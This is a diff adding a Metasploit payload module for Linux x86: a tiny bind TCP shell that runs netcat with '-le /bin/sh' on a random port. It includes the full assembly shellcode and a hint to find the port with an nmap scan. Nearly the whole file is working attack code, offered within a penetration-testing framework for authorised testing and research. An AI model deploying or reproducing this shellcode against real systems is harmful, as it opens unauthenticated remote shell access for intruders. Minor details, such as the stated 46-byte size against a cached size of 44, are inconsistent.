Add metasm format of code for Super small Shell Bind TCP Random Port

modules/payloads/singles/linux/x86/shell_bind_tcp_super_small_random_port.rb

@@ -0,0 +1,55 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+
+  CachedSize = 44
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell, Bind TCP Random Port Inline',
+      'Description'   => %q{
+        The tiniest (46 bytes!) bind tcp shell in its class! Listen for a connection with a random port and spawn a command shell.
+        Use nmap to discover the open port: 'nmap -sS -p- target'.
+      },
+      'Author'        => 'Aleh Boitsau <infosecurity[at]ya.ru>',
+      'License'       => BSD_LICENSE,
+      'References'    => ['URL', 'https://www.exploit-db.com/exploits/41631'],
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_X86
+     ))
+
+    def generate_bind_tcp_shell
+      payload = <<-EOS
+
+        preparation:
+          xor edx, edx     ;zeroed edx
+          push edx         ;push NULL into stack
+          push 0x68732f2f  ;-le//bin//sh
+          push 0x6e69622f
+          push 0x2f656c2d
+          mov edi, esp     ;store a pointer to -le//bin//sh into edi
+          push edx         ;push NULL into stack
+          push 0x636e2f2f  ;/bin//nc
+          push 0x6e69622f
+          mov ebx, esp     ;store a pointer to filename (/bin//nc) into ebx
+
+        execve_call:
+          push edx         ;push NULL into stack
+          push edi         ;pointer to -le//bin//sh
+          push ebx         ;pointer to filename (/bin//nc)		
+          mov ecx, esp     ;argv[]
+          xor eax, eax     ;zeroed eax
+          mov al,11        ;define execve()
+          int 0x80         ;run syscall
+     EOS
+
+     Metasm::Shellcode.assemble(Metasm::X86.new, payload).encode_string
+    end
+  end
+end